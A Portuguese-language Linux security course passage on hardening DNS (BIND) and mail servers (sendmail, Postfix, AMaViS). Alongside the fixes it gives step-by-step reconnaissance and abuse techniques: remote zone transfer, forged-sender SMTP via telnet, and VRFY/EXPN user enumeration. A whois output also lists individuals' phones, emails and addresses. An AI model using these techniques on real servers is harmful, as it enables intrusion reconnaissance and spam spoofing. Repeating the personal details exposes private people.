Atualizao do software - A utilizao de software desatualizado aumenta a possibili dade de existir ferramentas de explorao para esta verso. Uma constante atualizao evit a a utilizao de verses vunerveis em que o tipo de ataque pertinente j bastante conhe ido. Informaes disponveis - Deve-se evitar a possibilidade de descobrir qual softwar e, verso do software e sistema operacional esta sendo utilizado. Essas informaes de vem ser evitadas de serem descobertas via rede ou mesmo via sistema se possvel. P ara se obter sucesso em um ataque, estas informaes so imprecindveis. Criptografia - Deve-se procurar implementar criptografia em todos os servios disponveis via Rede. Isto evita um dos principais problemas em redes de computado res: o sniffer. Polticas de segurana - Se este servio no pblico, deve-se limitar o mximo quais ios e mquinas podem utiliz-lo. Segurana no DNS O DNS - Domain Name Service - o servio que possibilita a resoluo de nomes na Intern et. O pacote que disponibiliza este servio chama-se BIND - Berkeley Internet Name Domain. A primeira medida de segurana a ser implementado sua atualizao. O BIND dis ponvel em http://www.isc.org. Neste endereo voc tambm tem acesso aos advisories - ann cios de segurana que apresentam problemas de seguranas relacionados ao BIND. Nota: No momento em que estvamos escrevendo este material, a vero corrente do BIND era a 9.2.2. Este servio muito utilizado por hackers para obter informaes sobre uma rede, domnio, etc. Por exemplo: possvel utilizar o comando whois para obter informao sobre um de terminado domnio. #whois sistemasabertos.com.br Domnio: SISTEMASABERTOS.COM.BR Entidade: Sistemas Abertos Informtica Ltda. Documento: 003.351.733/0001-69 Responsvel: Marcelo Akira Inuzuka Endereo: Av. Cuba, St. Nova Suia, 834, Endereo: 74290-040 - Goiania - GO Telefone: (062) 285-7007 [] ID entidade: MAI61 ID admin: MAI61 ID tcnico: RPV20 ID cobrana: MAI61 Servidor DNS: INTRANET.SISTEMASABERTOS.COM.BR 200.163.79.1 Servidor DNS: WEB.DATATRAFFIC.COM.BR status: published ID: Nome: E-mail: Endereo: Endereo: phone: ID: MAI61 Marcelo Akira Inuzuka akira@SISTEMASABERTOS.COM.BR Av. C-233, Q. 572, L. 3 Setor Nova Suia, 834, 74290-040 - Goinia - GO (062) 285-7007 [] RPV20

Nome: E-mail: Endereo: Endereo: Telefone:

Robson Paniago Vasconcelos r9040330@NETSCAPE.NET R., s/n, 74000-000 - Gyn - GO (062) 944-0330 []

Observe que a sada do comando acima fornece infomaes confidenciais de uma empresa. Atravs do whois possvel identificar: Pessoa responsvel, telefone de contato, endereo , servidores DNS primrio e secundrios e tcnicos responsveis incluindo seus logins no registro.br. Este comando consulta a base de dados de servidores whois, mais especificadament e o servidor whois do domnio registro.br. Esta consulta pode ser feita via Web po r meio do site http://www.registro.br. Este site pertence a Fapesp - Fundao de Apo io a Pesquisa de So Paulo - que responsvel pelo domnio .br. Para os domnios .aero, . arpa, .biz, .com, .coop, .edu, .info, .int, .museum, .net, e .org acesse o site http://www.internic.net/whois.html. Para conhecer melhor a rede de um domnio existem ferramentas como: host e nslooku p. Primeiramente necessrio descobrir o servidor DNS de um determinado domnio, para depois consult-lo. hand Para descobrir o servidor DNS de um domnio, execute: #host -a xadreznet.com.br ;; ANSWER SECTION: xadreznet.com.br. xadreznet.com.br. ;; ADDITIONAL SECTION: REI.xadreznet.com.br. DAMA.xadreznet.com.br.

1502 1502 1852 1852 IN IN

IN IN A A

NS NS

REI.xadreznet.com.br. DAMA.xadreznet.com.br. 200.1.2.4 200.1.2.3

A partir da sada acima possvel identificar os dois servidores DNS por meio da dire tiva NS. Tambm possvel identificar seus endereos IP: 200.1.2.4 e 200.1.2.3. Sendo q ue provavelmente REI o servidor DNS primrio e DAMA o servidor DNS secundrio. hand Para consultar estes servidores, execute: #nslookup - 200.1.2.4 Este comando ir conectar na porta 53 do servidor DNS 200.1.2.4. Depois de conecta do no servidor, possvel por exemplo descobrir os servidores de email deste domnio, veja: >set type=MX >xadreznet.com.br. Server: 200.1.2.4 Address: 200.1.2.4#53 xadreznet.com.br xadreznet.com.br xadreznet.com.br mail exchanger = 10 bispo.xadreznet.com.br. mail exchanger = 10 peao.xadreznet.com.br. mail exchanger = 10 torre.xadreznet.com.br.

Atravs do type=MX possvel consultar apenas os servidores de email. Os outros tipos de consultas so: A, CNAME, HINFO, MINFO, NS, PTR, SOA, TXT, UINFO e WKS. Atravs d estes tipos de consulta possvel obter mais informaes sobre a rede deste domnio. Transferncia de zona

Esta outra forma de obter informaes de rede atravs do DNS. aplicado em servidores m al-configurados. A transferncia de zona uma funcionalidade utilizada por servidor es DNS secundrios para atualizao dos arquivos da base de dados DNS. Entretanto, pes soas mal-intencionadas podem utilizar este artifcio para obter acesso aos arquivo s da base de dados do DNS remoto. Os arquivos DNS fornecem informaes como: endereo IP e nome de todas as mquinas do domnio, informa quem so os servidores DNS, EMAIL e geralmente permite descobrir outros servidores como: banco de dados, Web, FTP, arquivos e autenticao. Para termos sucesso na transferncia de zona precisamos somen te de saber o IP de um servidor DNS e seu respectivo domnio. Veja como isto possvel: hand Edite o arquivo de configurao do named - daemon do DNS. O arquivo chama-se na med.conf: #vi /etc/named.conf zone &#8220;xadreznet.com.br&#8221; { type slave; file &#8220;xadreznet.hosts&#8221;; masters { 200.1.2.4; }; } Em nosso exemplo deseja-se tranferir os arquivos do servidor DNS do domnio xadrez net.com.br. O nome xadreznet.hosts foi definido aleatoriamente e poderia ser qua lquer outro. A diretiva type slave define o servidor como slave - secundrio - e q ue a base de dados deve ser transferida remotamente. Nota: Tambm possvel transferir a zona reversa no apresentada no exemplo. A transfern cia feita da mesma forma, mudando apenas o nome da zona. Geralmente, os arquivos da base de dados so armazenados no diretrio /var/named. hand Este diretrio deve ter dono e grupo igual ao do dono do processo named que g eralemente tambm named, portanto execute: #chown named.named /var/named hand Em seguida reinicie o servio named: #/etc/rc.d/init.d/named restart Depois de executado o ltimo comando, o arquivo remoto ser transferido e dever estar no diretrio /var/named com nome xadreznet.hosts. Se no conseguir transferir, veri fique os logs no arquivo /var/log/messages. Obviamente h formas de evitar que ist o ocorra e pode ser que o servidor escolhido j esteja seguro contra a tranferncia de zona. Nota: Geralmente os administradores costumam proteger o servidor primrio eesquece r do secundrio. Caso no consiga, fao o mesmo para os outros servidores DNS do domnio . Evitar transferncias de zonas Vamos considerar o servidor DNS do domnio xadreznet.com.br. Para proteger o servi dor primrio deste domnio, deve-se utilizar a diretiva allow-transfer no arquivo /e tc/named.conf. hand Veja:

#vi /etc/named.conf zone &#8220;xadreznet.com.br&#8221; { type master; file &#8220;xadreznet.hosts&#8221;; allow-transfer { 200.1.2.3; }; } zone &#8220;2.1.200.in-addr.arpa&#8221; { type master; file &#8220;200.1.2.reverso&#8221;; allow-transfer { 200.1.2.3; }; }; A diretiva allow-transfer { 200.1.2.3; }; permite que apenas a mquina 200.1.2.3 p ossa fazer transferncia de zona. Logo, esta dever ser o nico servidor secundrio dest e domnio. Tambm necessrio limitar a tranferncia de zona nos servidores secundrios, pois o atac ante poderia tentar tranferir arquivos do DNS secundrio e no do primrio. No servido r secundrio deve-se negar qualquer transferncia de zona. #vi /etc/named.conf zone &#8220;xadreznet.com.br&#8221; { type master; file &#8220;xadreznet.hosts&#8221;; allow-transfer { none; }; } zone &#8220;2.1.200.in-addr.arpa&#8221; { type master; file &#8220;200.1.2.reverso&#8221;; allow-transfer { none; }; }; O parmetro none evita qualquer tentativa de transferncia de zona. Atualizao Dinmicas

Verses do BIND superiores a 8.0 permitem a atualizao da base de dados DNS dinamicam ente. Esta funcionalidade possibilita remotamente a alterao, adio ou remoo dos regist os de recursos . aplicado tambm a servidores DNS mal-configurados e possibilita o instruso a prejudicar o funcionamento da rede, assim como utilizar deste artifci o para obter sucesso em outro tipo de ataque. Evitar Atualizao Dinmicas Para evitar a atualizao dinmica utiliza-se o parmetro allow-update. Este parmetro dev e ser aplicado a todas as zonas do arquivo named.conf. #vi /etc/named.conf zone &#8220;xadreznet.com.br&#8221; { type master; file &#8220;xadreznet.hosts&#8221;; allow-transfer { 200.1.2.3; }; allow-update { none; }; } zone &#8220;2.1.200.in-addr.arpa&#8221; { type master;

file &#8220;200.1.2.reverso&#8221;; allow-transfer { 200.1.2.3; }; allow-update { none; }; }; O parmetro dever ser aplicado a todos os servidores DNS incluindo os secundrios. A ssim, nenhum servidor DNS estar sujeito a atualizaes indesejadas. Definindo Limitaes ao processo named Umas das preocupaes que deve ser levado em considerao o dono do processo named. Este usurio deve ter o mnimo de previlgios. Algumas verses antigas - inferiores a verso 8 .0 - executam o processo named com o usurio root. Vunerabilidades do named permit ia que intrusos executassem comando remotos com permisses de root. Para definir o dono do processo do DNS a ser utilizado, na inicializao do processo named, utiliz e a opo -u: #/usr/sbin/named -u <usurio> Outra importante configurao do named utiliz-lo em ambiente chrooted. O named, ento, ter um diretrio raiz prprio, no tendo acesso a qualquer outro diretrio do sistema. Po r padro, o processo named trabalha no mesmo diretrio raiz do sistema. O procedimen to abaixo implementa o ambiente chrooted: #mkdir /etc/raiz #mkdir /etc/raiz/etc #mkdir /etc/raiz/var #mkdir /etc/raiz/var/named #mkdir /etc/raiz/var/run #mkdir /etc/raiz/var/run/named #mkdir /etc/raiz/dev #cp -R /var/named/* /etc/raiz/var/named #cp /etc/named.conf /etc/raiz/etc #ln /dev/random /etc/raiz/dev/random #chgrp named /etc/raiz/etc/named.conf #chown named /etc/raiz/var/run/named No exemplo apresentado considerado que o diretrio raiz do named ir se chamar /etc/ raiz. Pode ser utilizado qualquer outro. Tambm foi considerado que j existia uma p r configurao do DNS no diretrio /var/named. Os dois ltimos comandos consideram a exis tncia de um usurio named e um grupo named. hand Para inicializar o servio em ambiente chrooted, execute: #/usr/sbin/named -u named -t /etc/raiz O comando acima inicializa o processo named com dono named e limita o acesso des te processo ao diretrio /etc/raiz. Nota: Com estas alteraes, o intruso mesmo tendo sucesso em um ataque de explorao do named. O mesmo ter apenas acesso ao diretrio /etc/raiz e com permisses do usurio nam ed. Importante: Um histrico de segurana relacionado ao BIND pode ser acessado no ender eo http://www.isc.org/products/BIND/bind-security.html. Neste endereo apresentado os principais tipos de ataque que j ocorreram por meio do servio DNS. Segurana no Email Para transferncia de email utilizado o protocolo SMTP - Simple Mail Transfer Prot

ocol. Os servios de email so alvos escolhidos frequentemente por hackers. Isto dev e-se ao fato de ser um servio disponvel publicamente. O email tambm permite o hacke r conversar diretamente com os administradores ou usurios de qualquer rede na Int ernet, possibilitando, de acordo com a ingenuidade de um usurio leigo, obter info maes da rede interna remota. Entretanto o problema mais comum ao servidores de ema il o SPAM. Existem vrios servidores de email disponveis, entre os mais utilizados possvel cita r: sendmail, postfix e qmail. Em nosso material ser apresentados os servidores po stfix e qmail. SPAM O maior problema relacionado atualmente ao servio de email se traduz em SPAM. SPA M o envio no autorizado de emails geralmente com finalidade comercial. Vrios servi dores recebem diariamente milhares de emails com tal caracterstica. E vrios servid ores so utilizados para retransmitir emails deste tipo. SPAM causam problemas com o: consumo de banda da sua rede, consumo da caixa postal e dificulta manuteno do s ervidor de email. Alm dos prejuzos causados por SPAM, outro problema descobrir quem so os spammers pessoas que praticam SPAM. A dificuldade de investigao proveniente da maioria dos servidores SMTP no exigirem autenticao. Assim, qualquer um pode facilmente utilizar seu servidor para enviar email para sua rede com remetente falsificado. O probl ema no para por a, pois desta forma poderamos descobrir o endereo IP do spammers. En tretanto, o spammers pode utilizar de outros servidores SMTP para retransmitir e mail para um rede particular. Assim, torna-se mais difcil determinar o endereo IP do spammer. Nota: um termo muito utilizado para designar o retransmisso de email chama-se REL AY. Os hackers utilizam de servidores que fazem RELAY para encaminhar seus email s para quem se deseja. Enviar email com remetente falsificado: Os servidores de email permitem enviar email com remetente falsificado. Como est a uma tcnica utilizado por spammers, estaremos apresentando aqui. O exemplo mostr ado sem a necessidade de utilizar um outro servidor de email para retransmisso e, portanto, deve-se conectar diretamente no servidor onde existe o usurio que ser s eu destinatrio. Veja como isto possvel: #telnet smtp.dominio.br 25 Trying 200.201.202.203... Connected to smtp.dominio.br. Escape character is '^]'. 220 smtp.dominio.br ESMTP Sendmail 8.9.1/8.9.1; Wed, 2 Apr 2003 10:44:22 -0300 ( BRT) HELO smtp.dominio.br 250 smtp.dominio.br [Ola [200.201.202.203], seja bem vindo] MAIL FROM: <qualquernome@qualquerdominio.br> 250 qualquernome@qualquerdominio.br... Sender ok [Remetente ok] RCPT TO: maria 250 maria@dominio.br... Recipient ok [Destinatario ok] DATA 354 Enter mail, end with "." on a line by itself teste de envio . 250 KAA25406 Message accepted for delivery [Mensagem aceita] No exemplo acima os comandos que esto em negrito devem ser executados. Em nosso e

xemplo, esta sendo considerado o envio de email para o servidor smtp.dominio.br. Sendo que o remetente est sendo falsificado para qualquernome@qualquerdominio.br . O destinatrio maria, se voc no especificar o domnio, a entrega do email local, se voc especificar outro domnio que no seja o dominio.br ele ser retransmitido para o s ervidor de email deste outro domnio. Para o ltimo caso o RELAY dever estar habilita do. Infelizmente no h formas de evitarem que os email tenham seus remetentes falsifica dos. Entretanto, possvel evitar que seu servidor seja utilizado para retransmitir email no autorizado por meio da configurao de RELAY. Sendmail O sendmail o servio de email mais antigo e mais utilizado no Linux atualmente. En tretanto, o servio que mais apresentou problemas relacionado a segurana desde sua origem. Caractersticas Gerais:

Site: http://www.sendmail.org o mais antigo e popular de todos um programa monoltico (um nico executvel responsvel por todas as tarefas) rodan o com permisso de superusurio. Caso seja invadido, o invasor ter permisses de superusurio no servidor. No utiliza processos separados para cada funcionalidade de servidor SMTP. Portabilidade e compatibilidade com outros sistemas compatvel com sistemas antivrus, como o AMAVIS - veja http://www.amavis.org. Facilidade de uso, suporte e documentao Possui vasta documentao Utiliza como arquivo de configurao sendmail.cf, difcil de se manter, pouco padr onizado e complexo. Entre os aspectos apresentados acima, os maiores problemas do sendmail relaciona do a segurana so: 1. Dono do processo sendmail o super-usurio. Esta caracterstica faz com que to do o sistema seja comprometido caso seja encontrado uma vunerabilidade no sendma il. Os tipos de comprometimento so: acesso remoto com previlgio de root, um usurio comum tornar-se root. O primeiro mais perigoso pelo fato de comprometer o sistem a remotamente e sem a necessidade de uma conta de usurio comum. Vunerabilidades c omo estas esto presentes nas verses 8.11-4 e 8.11-6 por exemplo. 2. Complexidade do arquivo de configurao e do servio. Esta caracterstica aumenta as possibilidade de mal-configuraes. Um arquivo mal configurado do sendmail possi bilita por exemplo o intruso descobrir nome de usurios no servidor de emails. pos svel obter tambm listas de email - prtica muito utilizada por spammers para descobr ir endereos de emails. 3. Complexidade do servio. Dificulta a correo de bugs e possibilita que novas v unerabilidades sejam encontradas posteriormente. Isto comprovado pela identificao de vunerabilidades na verso 8.12 que a verso corrente do sendmail. A partir de agora ser apresentado uma srie de atividades que possibilita a obteno de informao por meio do sendmail. Descobrir a verso do sendmail: hand possvel descobrir a verso do sendmail remotamente, executando: #telnet smtp.dominio.br 25

Connected to smtp.dominio.com.br. Escape character is '^]'. 220 smtp.dominio.br ESMTP Sendmail 8.11.6/8.11.6; Tue, 1 Apr 2003 12:04:24 -0300 Caso a verso no esteja disponvel como apresentada acima, a outra forma de descobrir a verso executando HELP conectado na porta 25 do sendmail. #telnet smtp.dominio.br 25 Connected to smtp.dominio.br. Escape character is '^]'. 220 smtp.dominio.br ESMTP Sendmail 8.11.6/8.11.6; Tue, 1 Apr 2003 12:04:24 -0300 HELP 214-2.0.0 This is sendmail version 8.11.6 214-2.0.0 Topics: 214-2.0.0 HELO EHLO MAIL RCPT DATA 214-2.0.0 RSET NOOP QUIT HELP VRFY 214-2.0.0 EXPN VERB ETRN DSN AUTH 214-2.0.0 STARTTLS 214-2.0.0 For more info use "HELP <topic>". 214-2.0.0 To report bugs in the implementation send email to 214-2.0.0 sendmail-bugs@sendmail.org. 214-2.0.0 For local information send email to Postmaster at your site. 214 2.0.0 End of HELP info Esta forma de obteno da verso do sendmail se aplica praticamente a todos servidores de email. Deixar disponvel a verso e o servidor utilizado um erro gravssimo de con figurao. Infomaes como estas, facilita o ataque do intruso, pois o mesmo ir aplicar o exploit ideal para esta verso deste servidor especfico.

Nota: para qualquer alterao no arquivo de configurao do sendmail necessrio reiniciar seu servio Esconder a verso e o nome do servidor sendmail: Para o primeiro caso apresentado, a soluo editar o arquivo de configurao do sendmail - o arquivo sendmail.cf - e alterar a seguinte opo: O SmtpGreetingMessage=$j Sendmail $v/$Z; $b

Est opo dever ser alterada, utilize uma forma prpria no siga exemplo de qualquer font . Em nosso exemplo ser alterado para: O SmtpGreetingMessage=Servidor de Email A sada da tag HELO tambm deve ser alterada. Existe um arquivo que determina a sada da tag HELO, este arquivo chama-se helpfile e fica geralmente no mesmo diretrio d o sendmail.cf. Logo, a linha que contm o nome e a varivel que guarda o valor da ve rso deve ser comentada conforme apresentado abaixo: #smtp smtp smtp smtp smtp smtp smtp This is sendmail version $v Topics: HELO EHLO MAIL RCPT RSET NOOP QUIT HELP EXPN VERB ETRN DSN STARTTLS For more info use "HELP <topic>"

DATA VRFY AUTH

Descobrir usurios no servidor de email: possvel fazer teste no servidor no sendmail para descobrir usurios do sistema. Vej

a como isto possvel #telnet smtp.dominio.br 25 VRFY paulo 550 5.1.1 paulo... User unknown VRFY joao 250 2.1.5 <joao@smtp.dominio.br> O exemplo apresenta duas tentativa, na primeira verificado a no existncia do usurio paulo e a segunda apresenta confirmao do usurio joao. Descobrir listas de usurios no servidor de email:

hand possvel descobrir usurio pertencentes a uma lista de email. Isto possvel atrav da tag EXPN, veja: #telnet smtp.dominio.br 25 EXPN vendas 250-2.1.5 <carla@dominio.br> 250-2.1.5 <maria@dominio.br> 250-2.1.5 <paulo@dominio.br> 250-2.1.5 <beltrano@dominio.br> 250 2.1.5 <fulano@dominio.br> O exemplo utiliza de uma lista de email chamada vendas para descobrir usurios do sistema. Este tipo de artifcio muito utilizado por spammers para obter emails. Como evitar EXPN e VRFY: Para evitar a utilizao de EXPN e VRFY, edite o arquivo sendmail.cf e altere as lin has deste arquivo conforme abaixo: O PrivacyOptions=novrfy,noexpn As verses mais novas do sendmail suportam o parmetro goaway, este parmetro substitu i os dois parmetros apresentados no exemplo acima. Controle de acesso ao sendmail: O sendmail possui um arquivo que determina a ao do servidor frente aos emails que so entregue a ele. O controle feito por meio de domnio ou nmero IP. Este tipo de co ntrole necessrio para evitar que outras pessoas no utilizem seu servidor para reen caminhar emails - RELAY. O arquivo chama-se access e um exemplo dele est apresent ado abaixo: sistemasabertos.com.br spam.com.br REJECT spammers@xadreznet.com.br RELAY DISCARD

Na primeira coluna define qual o domnio, nmero IP ou endereo de email ser aplicado a regra. Existem trs possveis regras, so elas: RELAY: Permite que o email seja reencaminhado para outro servidor SMTP. REJECT: Rejeita qualquer email que tenha determinada origem. Uma mensagem de erro retornada ao remetente. DISCARD: Descarta qualquer email que tenha determinada origem. Nenhuma mensa gem de erro retornada ao remetente.

O exemplo apresentado habilita todas as mquinas do domnio sistemasabertos.com.br r eencaminhar email. Rejeita qualquer email que tenha domnio de origem spam.com.br e descarta qualquer email que tenha origem spammers@xadreznet.com.br. hand Depois que o arquivo access for alterado necessrio recriar os arquivos de ma pas do sendmail: #makemap hash access < access Postfix Postfix um servidor de email relativamente novo - criado em 1998 - que cada vez mais est ganhando a preferncia pelos administradores de sistemas. O Postfix foi de senvolvido procurando evitar os problemas, principalmente os de segurana, apresen tado pelo sendmail. Abaixo est apresentado suas caractersticas: Site: http://www.postfix.org Baseado em um projeto de cdigo livre chamado IBM Secure Mailer. Fcil configurao Separa as vrias funcionalidades do SMTP em processos separados rodando sob us urios no privilegiados, como: abertura de conexo, recebimento, enfileiramento e ent rega. No suporta por padro os comandos EXPN e VRFY. Estes comandos permitem que um i nvasor obtenha informaes particulares dos usurios do servidor. Por exemplo, obter i nformaes para serem utilizadas para envio de email indesejveis (spam). No possui executveis com suid para root. Isto impede que um invasor invada o s ervidor e obtenha super-privilgios. Roda em um ambiente chrooted(ambiente enjaulado em um diretrio especfico). Ist o limita a ao do invasor se porventura dominar algum processo. Portabilidade e compatibilidade com outros sistemas: O postfix cria um binrio sendmail, que emula as caractersticas do sendmail. Assim aplicativos internos do sistema que executam este comando no perdero o seu uso. compatvel com sistemas antivrus, como o AMAVIS - veja http://www.amavis.org. suportado apenas para sistemas Unix, como: Linux, AIX, Solaris, HP-UX, etc. O Postfix possui uma vasta documentao, contando com vrias listas de discusso. De acordo com a configurao acima, possvel observar que os vrios problemas enfrentado s pelo sendmail foram corrigidos, como por exemplo: Dono do processo postfix no r oot, possui fcil configurao e manuteno, no suporta VRFY e EXPN. Descobrindo a verso do Postfix: hand A verso do Postfix descoberta da mesma forma que no sendmail. #telnet smtp.dominio.br 25 Trying 10.1.0.23... Connected to 10.1.0.23. Escape character is '^]'. 220 smtp.dominio.br ESMTP Postfix (Postfix-20010228-pl08) Por padro, o postfix no suporta a tag HELP descrito no sendmail. Esconder a verso e o nome do postfix: As definies do postfix encontrada em seu principal arquivo de configurao o main.cf. Neste arquivo deve ser alterada a linha apresentada abaixo: smtpd_banner = $myhostname ESMTP $mail_name ($mail_version)

A linha acima o padro utilizado pelo Postfix. Altere conforme seu critrio. No mnimo retire as variveis $mail_name e ($mail_version). Elas representam o nome do serv io de email e sua verso respectivamente. Controle de acesso ao postfix: Da mesma forma que o sendmail, o postfix possui o arquivo access. Por meio deste arquivo possvel liberar ou negar email baseado no domnio, endereo IP ou remetente. Veja o exemplo apresentado abaixo: spam.com.br REJECT spammers@xadreznet.com.br DISCARD

As entradas que utilizam REJECT e DISCARD so equivalentes ao arquivo de acesso do sendmail. . Uma outra possibilidade de configurao est apresentado abaixo: spammers@ DISCARD

Esta configurao nega qualquer email que tenha nome spam independente do domnio. Dep ois de configurado o arquivo necessrio recriar os arquivos de mapas do postfix, i sto possvel atravs do comando abaixo: #postmap access < access Controle de RELAY: O controle de RELAY feito no arquivo principal de configurao do postfix, o arquivo main.cf. O postfix permite fazer RELAY para todas as redes e nmeros IPs definido em mynetworks , veja o exemplo abaixo: mynetworks= 10.1.0.0/16, 200.201.202.203 No exemplo acima todas as mquinas da rede 10.1.0.0/16 e a mquina 200.201.202.203 p odero fazer RELAY. Anti-vrus no servidor de email O Linux, particularmente, no possui problemas com vrus devido ao seu sistema de ar quivo. Entretanto, faz-se necessrio a instalao do anti-vrus para proteger outros sis temas operacionais que provavelmente sua rede possui. O email quando recebido pelo servidor de email repassado para um sistema anti-vru s que averigua a existncia do vrus. O repasse do email responsabilidade do scanner de email. O scanner anti-vrus recebe o email com arquivos em anexos que podem es tar compactados ou no, se estiverem compactados, os arquivos sero descompactados e repassados para o sistema anti-vrus que por sua vez verifica se o arquivo est ou no infectado, caso esteja, o arquivo mantido em quarentena e um email enviado par a o administrador, caso contrrio o email ser entregue. O scanner de email disponvel para Linux chama-se AMaViS? disponvel em http://www.a mavis.org. O AMaViS? est escrito em duas linguagens: C e Perl. Para nossos estudo s ser usado o amavis-perl-11.tar.gz, ou seja, ser usado o AMaViS? em Perl. Abaixo esto relacionados os anti-vrus suportados pelo AMaViS?: CyberSoft? Vfind - http://www.cyber.com F-Secure Inc. (former DataFellows?) F-Secure AV - http://www.eu.f-secure.com H+BEDV AntiVir?/X - http://www.hbedv.com Kaspersky Anti-Virus - http://www.avp.ru

Network Associates Virus Scan for Linux - http://www.nai.com Sophos Sweep - http://www.sophos.com/products/antivirus/savunix.html Trend Micro FileScanner? - http://www.antivirus.com CAI InoculateIT? - http://www3.ca.com Command AntiVirus? for Linux O processo de instalao do AMaViS? pode ser dividido em 5 fases : Instalao do Anti-vrus escolhidos Instalao do mdulos do Perl Instalao dos aplicativos Instalao do AMaViS? Configurao do Servidor de Email Teste ps-instalao Instalao do Anti-Vrus: Geralmente cada anti-vrus possuem arquivos em seu pacote que orientam a instalao, n a maioria dos caso estes arquivos tm nomes: README e INSTALL. Aqui apresentado a instalao do anti-vrus da Network Associates Virus Scan. Primeiramente copie o arquivo para /usr/local/src. Procure colocar os anti-vrus n o mesmo diretrio em que se encontra o scanner anti-vrus. Veja os procedimento abai xo: #mkdir /usr/local/src/uvscan #cp vlnx416e.tar.Z /usr/local/src/uvscan #cd /usr/local/src/uvscan #./install-uvscan O procedimento acima instala o pacote vlnx416e.tar.Z que o anti-vrus da Network A ssociates. Instalao do mdulos Perl: O mdulos que so necessrios para instalao do AMaViS? esto apresentados abaixos: IO-stringy Syslog MailTools? MIME-Base64 MIME-tools verso 5.313 ou superior Convert-UUlib Convert-TNEF verso 0.06 ou superior Compress-Zlib Archive-Tar Archive-Zip libnet Todos os mdulos apresentados acima esto disponveis no endereo http://www.cpan.org. E les devem ser descompactados dentro do diretrio /usr/local/src. O processo de ins talao de todos os mdulos so similares. O exemplo apresentado abaixo dever ser aplicad o para instalao de todos os outros mdulos. #tar xvfz IO-stringy-2.108.tar.gz #cd IO-stringy-2.108 #make Makefile.PL #make test #make install

O exemplo utiliza o mdulo IO-stringy-2.108. Fique sempre atento sada do comando ma ke test para verificar possveis problemas. Instalao dos aplicativos: Abaixo est mostrado os aplicativos que devem estar instalados: file arc bunzip2 lha unarj uncompress unrar zoo Verifique se estes aplicativos esto instalados em seu sistema, caso no esteja, ins tale-os. A maioria destes aplicativos so descompactadores e sero utilizados para d escompactar possveis arquivos infectados. Instalao do AMaViS? O AMaVIS? deve tambm ser descompactado dentro do diretrio /usr/local/src. hand Veja o procedimento de instalao abaixo: #tar xvfz amavis-perl-11.tar.gz #cd amavis-perl-11 #adduser -s /bin/false - g nobody vscan #./configure -enable-smtp -enable-postfix --with-amavis-user=vscan #make #make check Os comandos acima configura e compila o AMaViS?. necessrio criar um usurio chamado vscan. Se voc estiver utilizando o sendmail no use a opo -enable-postfix apresentad a no comando configure. O ltimo comando executa quatro teste de verificao da instal ao do AMaViS?. Na sada do comando configure ser apresentado um quadro resumo similar ao apresenta do abaixo: Install amavis as: Configured for use with: Relay configuration: Enable SMTP: Use virus scanner(s): Scanner runs as: Logging to syslog: Quarantine directory: Max. recursion depth: Add X-Virus-Scanned header: Display AMaViS credits: Warn sender: Reports sent to: Reports sent by: /usr/sbin/amavis postfix no yes McAfee Virusscan vscan yes /var/virusmails 20 yes no yes virusalert postmaster

Confira sua configurao, caso algum item no esteja de acordo, execute o configure no vamente. hand Agora veja como dever ser mostrada a sada de verificao do funcionamento do AMaV is?:

PASS: PASS: PASS: PASS:

config novirus-msg virus-msg xheader

hand Se sua instalao passar nos quatro testes, finalmente voc poder instal-lo. Para i sto execute: #make install Configurao do Servidor de email: Para cada servidor de email existe um tipo de configurao a ser feita. Ser apresenta do as configuraes dos servidores sendmail e postfix. Sendmail hand No caso do sendmail o arquivo a ser editado o sendmail.cf. Veja o que deve ser alterado abaixo: Mlocal, P=/bin/mail.local, F=lsDFMAw5:/ @qrmn9, S=10/30, R=20/40, T=DNS/RFC822/X-Unix, A=mail -d $u As linhas apresentadas acima representa o agente de entrega local padro do sendma il. Logo, a sada apresentada acima dever ser alterada para: Mlocal, P=/usr/sbin/amavis, F=lsDFMAw5:/ @qrn9, S=10/30, R=20/40, T=DNS/RFC822/X-Unix, A=amavis $f $u /bin/mail.local -d $u Depois de alterado a configurao do sendmail.cf, reinicie o daemon do sendmail. Postfix hand Para utilizar o postfix com o AMaViS?, adicione ou edite o parmetro mailbox_ command do arquivo main.cf omo apresentado abaixo: mailbox_command = /usr/sbin/amavis "$SENDER" "$RECIPIENT" Reinicie o daemon do postfix. Importante: O AMaViS? sempre envia avisos e alertas para o email virusalert @loc alhost. importante redirecionar estes emails para o administrador do servidor de email. Isto pode ser feito por meio do arquivo /etc/aliases. Adicione a seguint e linha no final deste arquivo: virusalert: root

Depois de alterar o arquivo necessrio executar o comando newaliases. Assim todos os alertas referente a vrus ser enviado ao usurio root. Teste ps-instalao: Existe um vrus inofensivo que pode ser utilizado para testar seu servidor anti-vru s. Este vrus est disponvel em http://www.eicar.org/anti_virus_test_file.htm e chama -se eicar.com. Envie este vrus em anexo por email para o servidor de email. Se se u servidor de email estiver funcionando corretamente, mensagens sero enviadas par a o usurio virusalert e o email no ser entregue. Envie tambm este vrus compactado em diferentes formatos e verifique a ao do servidor de email.

Segurana no POP e IMAP. Existem outros problemas de segurana ao disponibilizar servios como IMAP e POP no servidor de email. Estes servios foram criados para permitir que clientes de emai l possam ter acesso a sua caixa postal remotamente. A maioria dos softwares que implementam estes servios utilizam de algum processo de autenticao. Essa autenticao, na maioria dos caso, utiliza o arquivo de senha padro do Linux. E, portanto, senh as devero trafegar na rede entre o cliente e o servidor. O problema de segurana di z respeito ao envio destas senhas na rede. Ao utilizar POP e IMAP deve-se implementar criptografia no trfego de seus dados, pois caso contrrio, os dados e particularmente as senhas podero ser capturadas via rede por meio de sniffers. Atualmente a maioria dos softwares de POP ou IMAP te m suporte a SSL - Secure Socker Layer - que possibilita a encriptao dos dados dest es servios. Entretanto, existe ainda muitas redes que utilizam estes servios sem a implementao de criptografia. Utilizar estes servios sem criptografia comprometer t odas as senhas dos usurios de email de seu sistema. Segurana no Webmail Uma soluo bastante utilizada atualmente o que chamamos de Webmail. Webmail uma int erface Web que permite o usurio ter acesso a sua caixa postal atravs de um navegad or. Para isto necessrio o desenvolvimento de pginas Web que permitem o envio e rec ebimento de email atravs de um servidor WWW. Obviamente, necessrio algum tipo de autenticao que possibilite o acesso de usurios a suas caixas postais. O problema do Webmail est relacionado ao protocolo HTTP uti lizado pelos servidores Web. Este protocolo no seguro e todos os dados em trnsito, incluindo senhas, podem ser capturados em rede. Para este problema de segurana, existe o protocolo HTTPS - HTTP Security - que garante a encriptao dos dados em trn sito. Nota: A implementao e anlise do protocolo HTTPS est apresentado no captulo sobre segu rana nos servidores Web. Importante: Se voc utiliza algum Webmail, verifique se ele utiliza de HTTPS na pgi na de autenticao. A maioria dos Webmail disponveis na Internet que oferecem contas de emails no utilizam o protocolo HTTPS. Links indicados http://www.isc.org - Internet Software Consortium - o site oficial do BIND, disponibiliza download, documentao 